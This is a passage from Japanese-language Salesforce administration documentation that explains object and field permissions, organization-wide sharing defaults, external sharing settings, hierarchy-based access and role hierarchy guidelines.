
管理対象

「すべての参照」および「すべて
の編集」

「非公開」、「参照のみ」、「参
照・更新」、「参照/更新/所有権の
移行/フルアクセス」権限

レコードアクセス権
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共有を無効にする権限共有を遵守する権限

「すべての編集」権限を持つすべ
てのオブジェクトで使用可能

共有設定 (オブジェクトごとに異な
る) を遵守

転送可能か?

「すべての編集」権限を持つすべ
てのオブジェクトで使用可能

なしレコードを承認できるか、または
承認プロセス中のレコードを編集
およびロック解除できるか?

「すべての参照」権限を持つすべ
てのオブジェクトで使用可能

次のように規定された共有ルール
では可能。公開グループ「組織全
体」によって所有されているレコー

すべてのレコードのレポート出力
は可能か?

ドは、指定グループと「参照のみ」
アクセス権によって共有されます。

オブジェクト権限によってほとん
どのオブジェクトで使用可能

商品、ドキュメント、ソリューショ
ン、アイデア、メモ、添付ファイ
ルを除くすべてのオブジェクトで
使用可能

オブジェクトサポートは?

メモ: アイデア、価格表、記
事タイプ、商品に対する「す
べての参照」および「すべて
の編集」権限を持つことはで
きません。

プロファイルまたは権限セットロール、ロール & 下位ロール、ロー
ルと内部下位ロール、ロール、内

グループアクセス権を決めるのは?

部下位ロールとポータル下位ロー
ル、キュー、チーム、公開グルー
プ

「すべての参照」および「すべて
の編集」権限を持つ非公開取引先

利用不可非公開レコードアクセスは可能か?

責任者、商談、メモと添付ファイ
ルで使用可能

「すべての編集」権限を持つすべ
てのオブジェクトで使用可能

レコードの所有者とロール階層内
でその所有者の上位にあるユーザ
で使用可能

手動によるレコードの共有は可能
か?

ケースに対する「すべての編集」
権限で使用可能

利用不可すべてのケースコメントの管理は
可能か?

633

オブジェクトの権限Salesforce 組織の設定および管理



項目権限
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

項目権限によって、オブジェクトの各項目へのアクセス権が指定されます。権
限セットと拡張プロファイルユーザインターフェースでは、設定の表示ラベル
が元のプロファイルユーザインターフェースや項目をカスタマイズするための
項目レベルのセキュリティページとは異なります。

元のプロファイルイン
ターフェースや項目レベ
ルのセキュリティイン
ターフェースで有効な設
定

権限セットと拡張プロ
ファイルユーザインター
フェースで有効な設定

アクセスレベル

参照可能[参照] と [編集]ユーザは項目を参照し、
編集できる。

[参照可能]と [参照のみ]参照ユーザは項目を参照でき
るが編集できない。

なしなしユーザは項目の参照、編
集ができない。

関連トピック:

項目レベルセキュリティ
オブジェクトの権限

共有設定
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

チームはDatabase.comで
は使用できません。

Salesforce では、データへのアクセスをさまざまなレベルで制御できます。たと
えば、オブジェクト権限では、ユーザがオブジェクトに対して持つアクセス権
を制御できます。オブジェクト内でも、項目レベルセキュリティを使用して、
ユーザが項目に対して持つアクセス権を制御できます。データへのアクセス権
をレコードレベルで制御するには、共有設定を使用します。

組織の共有設定
組織の共有設定により、各オブジェクトに対する基本アクセス権を提供し、階
層や共有ルールを使用してアクセス権を拡張できます。たとえば、リードの参
照や編集をユーザ自身が所有するリードに限定する場合は、リードに対する組
織の共有設定を [非公開] に設定できます。次に、リードの共有ルールを作成し
て、リードのアクセス権を特定のユーザやグループに拡張できます。
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共有ルール
共有ルールは、組織の共有設定に対する例外を表します。組織の共有設定が [公開/参照のみ] または [非公開]

になっている場合は、その他のユーザにユーザ自身が所有していないレコードへのアクセス権を与えるルール
を定義できます。レコード所有者、またはレコード内の項目値に基づく共有ルールを作成できます。

ヒント: 特定のレコードセットに対するアクセス権限を必要とするユーザの一貫性のあるグループを定義
することが必要な場合があります。このような場合、レコード所有者は共有の直接設定を使用して、レ
コードにアクセス権限を持たないユーザに参照権限および編集権限を与えます。共有の直接設定は組織
の共有設定、ロール階層、または共有ルールのように自動化されていませんが、レコード所有者に、レ
コードを参照する必要があるユーザと特定のレコードを共有する柔軟性を提供します。

Apex による共有管理
Apex による共有管理により、開発者はプログラムでカスタムオブジェクトを共有できます。Apex による共有
管理を使用してカスタムオブジェクトを共有した場合は、「すべてのデータの編集」権限を持つユーザのみ
が、カスタムオブジェクトのレコードの共有を追加または変更できます。共有アクセス権は、レコード所有者
が変わっても維持されます。

レコードへのアクセスを許可するその他の方法
設定を共有するほか、次のように指定されたレコードに複数のユーザアクセスを許可する方法がいくつかあり
ます。
カテゴリグループのロールへの対応付け

カテゴリグループをユーザのロールに対応付けて、データカテゴリへのアクセス権を管理します。
キュー

キューは、レコードに優先度を付けたり、レコードを配布したり、ワークロードを共有するチームにレコー
ドを割り当てたりするのに役立ちます。キューのメンバーまたはロール階層で上位のユーザは、リスト
ビューからキューにアクセスし、キューのレコードの所有権を取得できます。
キューを使用して、リード、注文、ケース、およびカスタムオブジェクトレコードのグループへのルート
を指定します。

チーム
取引先、商談、ケースの場合、レコード所有者は、チームを使用して、その他のユーザがそれらのレコー
ドにアクセスするのを許可します。チームとは、取引先、営業商談、またはケースを担当するユーザで構
成されるグループです。レコード所有者は、所有しているレコードごとにチームを作成できます。レコー
ド所有者はチームメンバーを追加し、各チームメンバーがレコードに対して持つアクセス権のレベルを指
定します。あるチームメンバーは参照専用アクセス権のみを、他のチームメンバーは参照/更新アクセス権
を割り当てられます。また、「担当役員」など、チームメンバーに役割を指定することができます。取引
先チームの場合、チームメンバーには、取引先と関連付けられている取引先責任者、商談、ケースに対す
るアクセス権も与えられます。
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メモ: チームメンバーには、ロールまたは共有ルールなど、その他の理由でレコードへのアクセス権
が高いレベルで割り当てられる場合があります。この場合、チームで指定されたアクセスレベルに関
係なく、チームメンバーには最も高いアクセスレベルが許可されます。

関連トピック:

組織の共有設定
共有ルール
ユーザロール階層
共有に関する考慮事項

組織の共有設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

カスタマーポータルは、
Database.com Edition では
利用できません。

システム管理者は組織の共有設定を使用して、組織のデフォルト共有設定を定
義できます。
組織の共有設定では、レコードに対するデフォルトのアクセス権を指定できる
ほか、取引先 (契約を含む)、活動、納入商品、取引先責任者、キャンペーン、
ケース、リード、商談、カレンダー、価格表、注文、カスタムオブジェクトに
対して個別に設定できます。
組織の共有設定では、ほとんどのオブジェクトに対して [非公開]、[公開/参照の
み]、または [公開/参照・更新可能]のいずれかを設定できます。オブジェクトの
組織の共有設定が[非公開]または[公開/参照のみ]に設定されている環境の場合、
システム管理者は、ロール階層を設定するか共有ルールを定義することで、ユー
ザにレコードに対する追加のアクセス権を許可できます。ただし、共有ルール
を使用できるのは、追加のアクセス権を付与する場合のみです。最初に組織の
共有設定で指定されたレベルを超えるレコードへのアクセス権を制限するため
に使用することはできません。

重要: 組織がカスタマーポータルを使用する場合、取引先責任者のカスタ
マーポータルヘのアクセスを有効にする前に、取引先、取引先責任者、契
約、納入商品、およびケースに対する組織のデフォルトの共有設定を[非公
開]にします。こうすると、デフォルトでカスタマーは自分のデータのみを
表示できるようになります。すべての内部ユーザがすべての内部ユーザと
共有する共有ルールを作成することで、Salesforceユーザに「公開/参照・更
新可能」アクセス権を許可することもできます。

デフォルトでは、Salesforceは、ロール階層やテリトリー階層などの階層を使用して、階層内でレコード所有者
より上位のユーザに、そのレコードへのアクセス権を自動的に与えます。
オブジェクトを非公開に設定すると、レコードの所有者と階層内でそのロールの上位にあるユーザに対しての
みレコードが表示されるようになります。Professional Edition、Enterprise Edition、Unlimited Edition、Performance Edition、
および Developer Edition では、カスタムオブジェクトについて、階層内でレコード所有者よりも上位のユーザに
対してレコードへのアクセス権を無効にするには、[階層を使用したアクセス許可]チェックボックスをオフに
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します。カスタムオブジェクトのこのチェックボックスの選択を解除すると、レコード所有者と組織の共有設
定によってアクセスを許可されたユーザのみが、そのレコードにアクセスできるようになります。

関連トピック:

組織の共有設定の設定
デフォルトのアクセス設定の共有
組織のデフォルトの共有設定

組織の共有設定の設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

デフォルトの共有アクセ
ス権を設定する
• 「共有の管理」

組織の共有設定は、レコードへのベースラインアクセス権を設定します。オブ
ジェクトごとに別個のデフォルトを設定できます。
1. [設定] から、[クイック検索] ボックスに「共有設定」と入力し、[共有設定]

を選択します。
2. [組織の共有設定] 領域で [編集] をクリックします。
3. オブジェクトごとに、使用するデフォルトアクセス権を選択します。外部組

織の共有設定がある場合は、「外部組織の共有設定の概要」を参照してくだ
さい。

4. 階層を利用して自動的にアクセス権を無効にするには、[親レコードに連動]

のデフォルトアクセス権を持たない任意のカスタムオブジェクトについて
[階層を使用したアクセス許可] をオフにします。

メモ: [階層を使用したアクセス許可] チェックボックスがオフの場合、
ロール階層またはテリトリー階層で上位のユーザが自動アクセスを許可
されることはありません。ただし、「すべての参照」や「すべての編
集」オブジェクト権限、「すべてのデータの参照」や「すべてのデータ
の編集」システム権限などを持っているユーザは、自分が所有していな
いレコードにもアクセスできます。

組織の共有設定を更新するときに、共有再適用によってレコードへのアクセス権の変更が適用されます。デー
タが大量にあると、更新の所要時間が長くなります。
• 「公開/参照のみ」から「公開/参照・更新可能」へなど、デフォルトのアクセス権を拡大する場合は、変

更がすぐに有効になります。すべてのユーザは、更新されたデフォルトのアクセス権に基づいてアクセス
できます。その後共有再適用は非同期に実行され、手動または共有ルールからのすべての冗長なアクセス
が削除されます。

メモ: 取引先責任者のデフォルトのアクセス権が「親レコードに連動」であり、取引先、商談、また
はケースのデフォルトのアクセス権を拡大する場合は、再適用の実行後に変更が有効になります。

• 「公開/参照・更新可能」から「公開/参照のみ」へなど、デフォルトのアクセス権を縮小する場合は、再
適用の実行後に変更が有効になります。

再適用が完了すると、メールで通知されます。変更を表示するには、[共有設定] ページを更新します。更新状
況を表示するには、[設定] から [クイック検索]ボックスに「設定変更履歴の参照」と入力し、[設定変更履歴の
参照] を選択します。
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制限事項
一部のオブジェクトでは、組織の共有設定を変更できません。
• サービス契約は、常に非公開です。
• ユーザプロビジョニング要求は、常に非公開です。
• ドキュメント、レポート、またはダッシュボードを参照または編集できるかどうかは、そのドキュメント

が保存されているフォルダに対するユーザのアクセス権に基づきます。
• 売上予測共有が有効でない場合、自分より下位のロール階層にあるユーザの売上予測のみ参照できます。
• カスタムオブジェクトが、標準オブジェクトとの主従関係の従側にある場合は、組織の共有設定は [親レ

コードに連動] に設定されており、これを編集することはできません。
• Apex コードがカスタムオブジェクトに関連付けられている共有エントリを使用している場合は、そのカス

タムオブジェクトに対する組織の共有設定を非公開から公開には変更できません。たとえば、Apex コード
で (コードでは Invoice__share として表される) カスタムオブジェクト Invoice__c に対する共有アクセス
権を持つユーザとグループを取得した場合、そのオブジェクトの組織の共有設定を非公開から公開に変更
することはできません。

関連トピック:

デフォルトのアクセス設定の共有
組織の共有設定

デフォルトのアクセス設定の共有

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

Database.com Edition で利
用できるのはカスタムオ
ブジェクトのみです。

ユーザ権限

デフォルトの共有アクセ
ス権を設定する
• 「共有の管理」

次のオブジェクトに対するレコードアクセス権を、組織の共有設定を使用して
設定できます。
• 取引先と、それに関連する契約
• 活動
• カレンダー
• キャンペーン
• ケース
• 取引先責任者
• カスタムオブジェクト
• リード
• 商談
• 注文
• 価格表
• サービス契約
• ユーザ
取引先、キャンペーン、ケース、取引先責任者、契約、リード、商談、注文、
ユーザ、およびカスタムオブジェクトに、次のアクセス権を割り当てることが
できます。
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説明項目

ユーザは、参照、編集、削除などの操作を契約または
注文に対して実行できます。この操作ができるかどう

親レコードに連動

かは、ユーザがその契約または注文に関連付けられて
いるレコードに対して同様の操作ができるかどうかに
基づいています。
たとえば、契約が取引先のアクメ社に関連付けられて
いる場合、アクメ社に対して編集権限を持つユーザの
みがその契約を編集できます。

レコードの所有者と階層内でそのロールの上位にある
ユーザのみが、レコードに対して参照、編集、および
レポートを実行できます。
たとえば、山本さんが取引先の所有者で「西日本営
業」のロールを割り当てられている場合、(「西日本

非公開

営業」の「統括責任者」のロールを割り当てられてい
る) 上司の高田さんにレポートします。この場合、高
田さんは山本さんの取引先に対して参照、編集、およ
びレポートを実行できます。

すべてのユーザは、レコードに対して参照とレポート
を実行できますが、編集はできません。レコードの所

公開/参照のみ

有者と階層内でそのロールの上位にあるユーザのみ
が、そのレコードを編集できます。
たとえば、佐々木さんは取引先「ABC 社」の所有者で
す。佐々木さんは、「西日本営業」のロールも割り当
てられていて、「西日本営業」の「統括責任者」の
ロールを割り当てられている高田さんにレポートしま
す。この場合、佐々木さんと高田さんは「ABC 社」に
対して参照・更新のフルアクセスの権限を持ちます。
山本さん (別の「西日本営業」担当者) も、「ABC 社」
に参照とレポートを実行できますが、編集はできませ
ん。

すべてのユーザがレコードすべてに対して参照、編
集、およびレポートを実行できます。
たとえば、山本さんが「トライデント社」の所有者
だった場合、他のすべてのユーザが取引先「トライデ

公開/参照・更新可能

ント社」に対して参照、編集、およびレポートを実行
できます。ただし、取引先「トライデント社」の削除
や、設定の共有を実行できるのは山本さんだけです。
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説明項目

すべてのユーザがすべてのレコードに対して参照、編
集、移行、およびレポートを実行できます。この設定
が使用できるのは、ケースとリードでのみです。
たとえば、有川さんがアクメ社のケース番号 100 の所
有者だった場合、すべてのユーザがこのケースに対し

公開/参照・更新・所有権の移行

て参照、編集、移行、およびレポートを実行できま
す。ただし、100 番のケースを削除、または共有設定
を変更できるのは有川さんだけです。

すべてのユーザがレコードすべてに対して参照、編
集、移行、削除、およびレポートを実行できます。こ
の項目は、キャンペーンでのみ使用できます。
たとえば、佐藤さんがキャンペーンの所有者である場
合、他のすべてのユーザがそのキャンペーンに対して
参照、編集、移行および削除を実行できます。

公開/フルアクセス

メモ: ケースを効果的に使用するには、取引先、取引先責任者、契約、および納入商品に対する組織の共
有設定を「公開/参照・更新可能」に指定します。

個人カレンダーに次のアクセス権を割り当てることができます。

説明項目

ユーザのスケジュールが指定した時刻に空いているか
どうかを他のユーザが確認できます。ただし、その

詳細を非表示

ユーザのカレンダーにある活動の情報を参照すること
はできません。

[詳細を非表示] による共有レベル設定に加えて、他の
ユーザのカレンダーに行動を挿入できます。

詳細の非表示、新規行動の追加

他のユーザのカレンダーにある行動の詳細情報を参照
できます。

詳細の表示

[詳細の表示] による共有レベル設定に加えて、他の
ユーザのカレンダーに行動を挿入できます。

詳細の表示、新規行動の追加

他のユーザのカレンダーにある行動の詳細情報を参照
できるほか、他のユーザのカレンダーに行動を挿入し

フルアクセス

たり、および他のユーザのカレンダーにある既存の行
動を編集したりできます。

640

共有設定Salesforce 組織の設定および管理



メモ: カレンダーに設定された組織の共有設定に関係なく、すべてのユーザは行動に他のユーザすべてを
招待できます。

価格表に次のアクセス権を割り当てることができます。

説明項目

すべてのユーザが価格表を参照できるほか、商談に価
格表を追加できます。その価格表内の任意の商品を商
談に追加できます。

使用

すべてのユーザが価格表に対する参照とレポートを実
行できます。ただし、価格表を商談に追加できるの

参照のみ

は、その商談に対して「編集」権限を持つユーザと価
格表への「使用」権限を手動で認可されたユーザのみ
です。

ユーザは価格表を参照することも、商談に追加するこ
ともできません。選択したユーザを選択した価格表に

アクセス権限なし

だけアクセスさせるようにする場合は、このアクセス
権を組織の共有設定にします。その後、手動で適切な
価格表を適切なユーザ間で共有するように設定しま
す。

活動に次のアクセス権を割り当てることができます。

説明項目

活動の所有者とロール階層内でそのロールの上位にい
るユーザのみが、その活動を編集および削除できま

非公開

す。活動が関連付けられているレコードに対して参照
権限を持つユーザは、活動に対して参照とレポートを
実行できます。

ユーザは、参照、編集、移行、および削除などの操作
を活動に対して実行できます。この操作ができるかど

親レコードに連動

うかは、そのユーザがその活動に関連付けられている
レコードに対して同様の操作ができるどうかに基づい
ています。
たとえば、取引先「アクメ社」と取引先責任者「鈴木
裕二」に ToDo が関連付けられている場合、その ToDo

を編集できるのは、取引先「アクメ社」と取引先責任
者「鈴木裕二」に「編集」権限を持つユーザのみで
す。

ユーザに次のアクセス権を割り当てることができます。
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説明項目

すべてのユーザは、自身のユーザレコードとロール階
層が下位のユーザレコードへの参照アクセス権を保持
します。

非公開

すべてのユーザは、互いの参照アクセス権を保持しま
す。すべてのユーザの詳細ページを参照できます。ま

公開/参照のみ

た、ルックアップ、リストビュー、所有権の変更、
ユーザ操作、検索ですべてのユーザを参照できます。

関連トピック:

組織の共有設定の設定

組織のデフォルトの共有設定

エディション

取引先、ケース、取引先
責任者、リード、商談、
カスタムオブジェクトを
使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

Database.com Edition で利
用できるオブジェクトタ
イプはカスタムオブジェ
クトのみです。

組織のデフォルトの共有設定は、次のとおりです。

デフォルトのアクセス権オブジェクト

公開/参照・更新可能取引先

非公開活動

親レコードに連動納入商品

詳細の非表示、新規行動の追加カレンダー

公開/フルアクセスキャンペーン

公開/参照・更新・所有権の移行ケース

親レコードに連動取引先責任者

公開/参照・更新可能契約

公開/参照・更新可能カスタムオブジェクト

公開/参照・更新・所有権の移行リード

公開/参照のみ商談

使用価格表

非公開サービス契約
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デフォルトのアクセス権オブジェクト

公開/参照のみ
外部ユーザに対して非公開

ユーザ

関連トピック:

組織の共有設定
組織の共有設定の設定

外部組織の共有設定の概要

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

外部組織の共有設定には、内部ユーザおよび外部ユーザに対して個別の組織の
共有設定があります。共有ルールの設定が簡単になり、再適用のパフォーマン
スが向上します。また、システム管理者は、ポータルユーザおよび他の外部ユー
ザと共有される情報を簡単に確認できます。
次のオブジェクトでは、外部組織の共有設定がサポートされています。
• 取引先と、それに関連する契約および納入商品
• ケース
• 取引先責任者
• 商談
• カスタムオブジェクト
• ユーザ
外部ユーザには次のユーザが含まれます。
• 認証 Web サイトユーザ
• Chatter 外部ユーザ
• コミュニティユーザ
• カスタマーポータルユーザ
• ゲストユーザ
• 大規模ポータルユーザ
• パートナーポータルユーザ
• Service Cloud ポータルユーザ

メモ:  Chatter 外部ユーザがアクセスできるのは、ユーザオブジェクトのみです。

以前は、社内ユーザに「公開/参照のみ」または「公開/参照・更新可能」アクセスを与え、外部ユーザには非
公開にする場合、デフォルトのアクセスを「非公開」にして、すべての社内ユーザとレコードを共有する共有
ルールを作成する必要がありました。

643

共有設定Salesforce 組織の設定および管理



個別の組織の共有設定では、[デフォルトの内部アクセス権] を [公開/参照のみ] または [公開/参照・更新可能]

に、また [デフォルトの外部アクセス権] を [非公開]に設定することで、類似する動作を実現することができま
す。これらの設定により、レポート、リストビュー、検索、API クエリのパフォーマンスも向上します。

関連トピック:

組織の共有設定
外部組織の共有設定の設定
デフォルトのアクセス設定の共有

外部組織の共有設定の設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

デフォルトの共有アクセ
ス権を設定する
• 「共有の管理」

外部組織の共有設定を使用して、外部ユーザに異なるデフォルトのアクセス権
を設定できます。
外部組織の共有設定を設定する前に、それが有効であることを確認します。[設
定] から、[クイック検索] ボックスに「共有設定」と入力し、[共有設定] を選択
して [外部共有モデルを有効化] ボタンをクリックします。
外部組織の共有設定を最初に有効にしていると、デフォルトの内部アクセス権
とデフォルトの外部アクセス権は元のデフォルトアクセスレベルに設定されま
す。たとえば、取引先責任者の組織の共有設定が [非公開] である場合、デフォ
ルトの内部アクセス権とデフォルトの外部アクセス権も [非公開] になります。
オブジェクトの外部組織の共有設定を設定する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「共有設定」と入力し、[共有設定]

を選択します。
2. [組織の共有設定] 領域で [編集] をクリックします。
3. オブジェクトごとに、使用するデフォルトアクセス権を選択します。

次のアクセス権を割り当てることができます。

説明アクセスレベル

ユーザは、関連するすべての主レコードでアクション (表
示、編集、削除など) を実行できる場合は、主従関係の従

親レコードに連動

の側のレコードに対しても同じアクションを実行できま
す。

メモ: 取引先責任者の場合は、デフォルトの内部お
よび外部アクセス権の両方に [親レコードに連動]

を設定する必要があります。

所有権、権限、ロール階層、共有の直接設定、または共
有ルールによってアクセス権が付与されているユーザの
みが、レコードにアクセスできます。

非公開
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説明アクセスレベル

すべてのユーザがオブジェクトのすべてのレコードを表
示できます。

公開/参照のみ

すべてのユーザがオブジェクトのすべてのレコードを表
示および編集できます。

公開/参照・更新可能

メモ: デフォルトの外部アクセスレベルの制限は、デフォルトの内部アクセスレベル以上にする必要
があります。たとえば、デフォルトの外部アクセス権が[非公開]でデフォルトの内部アクセス権が[公
開/参照のみ] に設定されたカスタムオブジェクトがあります。

4. [保存] をクリックします。

関連トピック:

外部組織の共有設定の概要

外部組織の共有設定の無効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

外部組織の共有設定を無
効にする
• 「共有の管理」

外部組織の共有設定を無効にすると、それぞれのオブジェクトに 1 つの組織の
共有設定が指定されます。
この機能を無効にする前に、各オブジェクトに対して[デフォルトの外部アクセ
ス権] と [デフォルトの内部アクセス権] を同じアクセスレベルに設定します。
外部組織の共有設定を無効にする手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「共有設定」と入力し、[共有設定]

を選択します。
2. [組織の共有設定] 領域で [外部共有モデルを無効化] をクリックします。
外部組織の共有設定を無効にすると、組織の共有設定領域に[デフォルトの外部
アクセス権]および[デフォルトの内部アクセス権]設定ではなく、[デフォルトの
アクセス権]設定が表示されます。ユーザ共有がある場合、取引先、取引先責任
者、ケース、および商談の各オブジェクトの [デフォルトの外部アクセス権] 設
定は表示されたままですが、無効になります。

関連トピック:

外部組織の共有設定の概要

645

共有設定Salesforce 組織の設定および管理



階層を使用したアクセス権の制御
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

テリトリーは、
Database.com Edition では
利用できません。

ユーザ権限

デフォルトの共有アクセ
ス権を設定して [階層を
使用したアクセス許可]
オプションを変更する
• 「共有の管理」

自分が所有しておらず、共有もされていないレコードのうち、下位層のユーザ
がアクセス権をもつレコードに対するアクセス権を決定します。
各オブジェクトに対する組織の共有設定で、階層内の下位のユーザが所有する
データ、または下位のユーザに共有されたデータへのアクセス権をユーザが持
つかどうかを指定できます。たとえば、ロール階層では、階層内でレコード所
有者より上位のユーザには、そのレコードへのアクセス権が自動的に与えられ
ます。デフォルトでは、[階層を使用したアクセス許可] オプションは、すべて
のオブジェクトに対してオンになっています。またこのオプションは、カスタ
ムオブジェクトのみ変更できます。
カスタムオブジェクトの階層を使用して共有アクセスを制御するには、[設定] か
ら、[クイック検索] ボックスに「共有設定」と入力し、[共有設定] を選択しま
す。次に、[組織の共有設定] セクションで、[編集]をクリックします。階層の下
位ユーザが所有または共有されているデータへのアクセス権を、上位ユーザに
自動的に付与しないようにするには、[階層を使用したアクセス許可] をオフに
します。

実装メモ
• 組織の共有設定に関係なく、「すべてのデータの参照」権限、共有ルール、

または個々のレコードの共有の直接設定などによって、ユーザは自分が所有
していないレコードへのアクセス権を得ることができます。

• [階層を使用したアクセス許可] オプションは、標準オブジェクトでは常にオ
ンであり、編集はできません。

• [階層を使用したアクセス許可]オプションをオフにすると、ロールやテリトリーとその下位層への共有は、
選択したロールやテリトリーに直接割り当てられているユーザ間でのみ共有することになります。階層内
でそれより上位のロールやテリトリーにあるユーザは、アクセス権を得られません。

• 組織で [階層を使用したアクセス許可] オプションをオフにしても、カスタムオブジェクトに関連付けられ
ている活動は、これまでどおりその活動の任命先より上位のロール階層のユーザに表示されます。

• リレーションを削除すると主従関係が壊れる場合、以前の従側カスタムオブジェクトのデフォルト設定は、
「公開/参照・更新可能」に自動的に戻り、デフォルトで[階層を使用したアクセス許可]が設定されます。

• [階層を使用したアクセス許可] オプションは、公開グループ、非公開グループ、キュー、ロール、または
テリトリーに共有されたときの、データへのアクセス権を取得するユーザ範囲に影響します。たとえば、
共有ルールまたは共有の直接設定でレコードが共有されており、[階層を使用したアクセス許可] オプショ
ンがオンになっている場合に、[すべてのユーザの参照] をクリックすると、共有しているグループのメン
バーと階層内でその上位にあるユーザが表示されます。[階層を使用したアクセス許可] オプションをオフ
にした場合、このグループ内の一部のユーザのアクセス権がなくなります。次の一覧に、[階層を使用した
アクセス許可] オプションによるアクセス権を示します。
常にアクセス権を得られるユーザは次のとおりです。

グループメンバー
キューメンバー
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ロールメンバー
下位ロールのメンバー
テリトリーのメンバー
下位テリトリーのメンバー

階層を使用する場合に限りアクセス権を得られるユーザは次のとおりです。
グループメンバーのマネージャ
キューメンバーのマネージャ
ロールのマネージャ
テリトリーのマネージャ
テリトリー (上位を含む) のユーザのロールのマネージャ

ベストプラクティス
• [階層を使用したアクセス許可] をオフにすると、下位ユーザのデータが表示されなくなるため、レポート

結果が異なることを、ユーザに通知します。たとえば、[参照] ドロップダウンリストで [私のチームの...] を
選択すると、そのユーザが所有するレコードが返されますが、その中には自分より下位のユーザが所有す
るレコードは含まれません。この種のレポートビューに含むようにするには、共有ルールや共有の直接設
定など、階層以外の何らかの手段を使って、下位ユーザのレコードを明示的に共有する必要があります。
そのため、直接共有を設定したレコードがなければ、[参照] ドロップダウンリストで [私の...] を選択しても
[私のチームの...] を選択しても、同じ結果が返されます。ただし、カスタムレポートの作成時に「活動が関
連するカスタムオブジェクト」レポートタイプを選択すると、自分の活動と、自分より下位のロール階層
にあるユーザの活動が返されます。

関連トピック:

ユーザロール階層
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ユーザロール階層
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ロールを作成、編集、お
よび削除する
• 「ロールの管理」

ユーザにロールを割り当
てる
• 「内部ユーザの管理」

Salesforceにはユーザロール階層があり、共有設定と併用してSalesforce組織のデー
タに対するユーザのアクセスレベルを決定できます。階層内のロールは、レコー
ドやレポートなどの主要コンポーネントへのアクセスに影響を与えます。

組織の共有設定による制限が [公開/参照・更新可能] より厳しい場合は、
ロール階層を使用してユーザがレコードにアクセスしやすくします。
デモを見る: Who Sees What: ロール階層によるレコードアクセス

どのロールレベルのユーザも、オブジェクトに対する Salesforce 組織の共有モデ
ルで他の方法が指定されている場合を除き、ロール階層で自分より下位のユー
ザが所有または共有するすべてのデータの参照、編集、およびレポート作成を
行うことができます。具体的には、[組織の共有設定] 関連リストで、カスタムオ
ブジェクトの [階層を使用したアクセス許可] オプションを無効にできます。無
効にすると、レコード所有者と組織の共有設定によってアクセスを許可された
ユーザのみが、そのオブジェクトのレコードにアクセスできるようになります。
ケース、取引先責任者、および商談へのユーザのアクセス権は、レコードの所
有者に関係なく、ロールによって決まります。アクセスレベルは、[ロールの編
集] ページで指定します。たとえば、取引先責任者の所有者に関係なく、ロール
のユーザが自分が所有する取引先に関連付けられたすべての取引先責任者を編
集できるように、取引先責任者へのアクセス権を設定できます。さらに、商談
の所有者に関係なく、ロールのユーザが自分が所有する取引先に関連付けられたすべての商談を編集できるよ
うに、商談へのアクセス権を設定できます。
フォルダをロールと共有すると、そのロールのユーザのみが参照可能になり、階層の上位のロールには表示さ
れません。

ロールを使いこなすためのガイドライン

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ロールを使いこなすには、主要なルールの動作を理解してベストプラクティス
を実践します。

大規模な組織でレコードアクセス権を設計するためのベストプラクティ
スは、「企業の規模に応じたレコードアクセス権の作成」を参照してく
ださい。

• 多数のユーザを抱える組織でユーザ管理を簡略化するには、特定のロールお
よびすべての下位ロールに置かれたユーザの管理を代理管理者に委任しま
す。

• 組織で作成できるロール数は最大 500 です。
• すべてのユーザをロールに割り当てる必要があります。割り当てない場合、

ユーザのデータは商談レポート、売上予測の積み上げ、およびロールに基づく他の画面に表示されません。
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• 組織全体への表示が必要なすべてのユーザは、階層の最高レベルに属する必要があります。
• 会社の各役職に対して個別にロールを作成する必要はありません。代わりに、下位レベルのロールのユー

ザによって入力された情報のアクセス権を制御するロールの階層を定義します。
• ユーザのロールを変更すると、新規ロールの共有ルールが適用されます。
• Salesforce ナレッジユーザであれば、ロール詳細ページでカテゴリの表示設定を変更できます。
• パフォーマンス上の問題を避けるため、単一ユーザが 10,000 件を超えるオブジェクトレコードを所有しな

いようにします。この数を超えるオブジェクトを所有する必要があるユーザは、ロールを割り当てないか、
階層の最上位で個別のロールを割り当てる必要があります。共有ルールのソースとして使用される可能性
のある公開グループにユーザを含めないことも重要です。

• 取引先所有者にロールが割り当てられていない場合、取引先責任者の組織の共有設定が[親レコードに連動]

以外の関連する取引先責任者の共有アクセス権は、「参照・更新」になります。関連商談および関連ケー
スの共有アクセス権は、「アクセス権限なし」になります。

• 組織がテリトリー管理を使用している場合、売上予測はロール階層ではなくテリトリー階層に基づきます。

ユーザへのロールの割り当て

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

